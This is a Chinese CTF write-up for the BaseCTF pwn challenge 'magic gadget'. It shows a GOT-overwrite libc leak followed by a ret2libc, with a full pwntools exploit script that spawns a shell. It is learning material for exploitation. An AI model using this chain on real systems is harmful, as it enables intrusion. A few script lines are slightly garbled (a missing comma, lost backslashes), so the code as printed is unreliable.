【BaseCTF-PWN】magic gadget

admin 2024年9月13日21:16:07评论17 views字数 2156阅读7分11秒阅读模式

第一次遇到magic gadget题目,在此分享一下

分析

IDA打开之后在main函数上方看到一段rbp的操作无法反编译

【BaseCTF-PWN】magic gadget

搜索这段之后发现这段叫做magic gadget

参考:https://xz.aliyun.com/t/12975

配合csu最后一段gadget对rbx和rbp的操作可以实现任意地址写

【BaseCTF-PWN】magic gadget

再来看本题只给出一个栈溢出,且got表只有gets函数,并且给出了libc版本2.35-0ubuntu3.8_amd64

【BaseCTF-PWN】magic gadget

那么思路就明确了,通过magic gadget和libc偏移先把gets@got的内容+0x930使其指向puts@libc,然后就可以用puts@plt泄露puts@got的值,泄露出puts@libc的值之后根据偏移计算基址,同时为了能返回main再次执行栈溢出,还需要把gets@got的值由刚才指向puts@libc改回gets@libc,也就是-0x930,最后循环回main再来一截常规的ret2libc就行了

调试

因为checksec是Partial RELRO,先执行一遍gets使其把libc地址写入gets@got

【BaseCTF-PWN】magic gadget

第二次循环先修改gets@got中的地址,使其指向puts@libc(通过libc文件发现puts@libc = gets@libc + 0x930)

p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0x930)+p64(gets_got+0x3d)+p64(0x0)*4+p64(add_rbp_3d_ebx)
【BaseCTF-PWN】magic gadget

所以现在gets@plt实际上是puts@plt,gets@got实际上是puts@got,直接使用pop rdi泄露puts@libc的实际地址

【BaseCTF-PWN】magic gadget

为了让下次进入main函数还能正常输入,还需要把gets@got改成gets@libc

p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0xfffff6d0)+p64(gets_got+0x3d)+p64(0x0)*4+p64(add_rbp_3d_ebx)
【BaseCTF-PWN】magic gadget

再返回到main函数执行gets时,经过调试发现rdi指针没被重置导致gets报错,所以上一步应该返回到更开头的_start函数位置来布置寄存器的值和重新执行main

有了libc基址通过ret2libc的方法利用栈溢出getshell即可

代码

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('challenge.basectf.fun'26650)
#p=process('./pwn')
#p=gdb.debug('./pwn','b *0x40065d')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')


main_addr = 0x40065d
pop_rbx_rbp_r12_r13_r14_r15 = 0x4006ea
add_rbp_3d_ebx = 0x400658
gets_got = 0x601018
pop_rdi_ret = 0x4006f3
gets_plt = elf.plt['gets']
ret_addr=0x4004D6
start_addr = 0x400510

payload = b'a'*(0x8+0x8)+p64(main_addr)
p.sendline(payload) #先执行一遍把gets@libc写入gets@got

payload = b'a'*(0x8+0x8)+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0x930)+p64(gets_got+0x3d)+p64(0x0)*4+p64(add_rbp_3d_ebx)+p64(pop_rdi_ret)+p64(gets_got)+p64(gets_plt)+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0xfffff6d0)+p64(gets_got+0x3d)+p64(0x0)*4+p64(add_rbp_3d_ebx)+p64(start_addr)
p.sendline(payload)#修改gets@got内容,泄露puts@libc,恢复gets@got

puts_addr=u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

payload = b'a'*(0x8+0x8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload)#ret2libc

p.interactive()

成功拿下

【BaseCTF-PWN】magic gadget

原文始发于微信公众号(智佳网络安全):【BaseCTF-PWN】magic gadget

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日21:16:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【BaseCTF-PWN】magic gadgethttp://cn-sec.com/archives/3165053.html

发表评论

匿名网友 填写信息